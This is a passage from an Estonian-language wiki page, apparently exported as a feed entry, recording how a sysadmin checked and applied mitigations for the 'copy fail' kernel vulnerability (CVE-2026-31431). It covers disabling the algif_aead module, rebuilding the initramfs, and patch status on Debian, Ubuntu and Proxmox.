usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
</feed>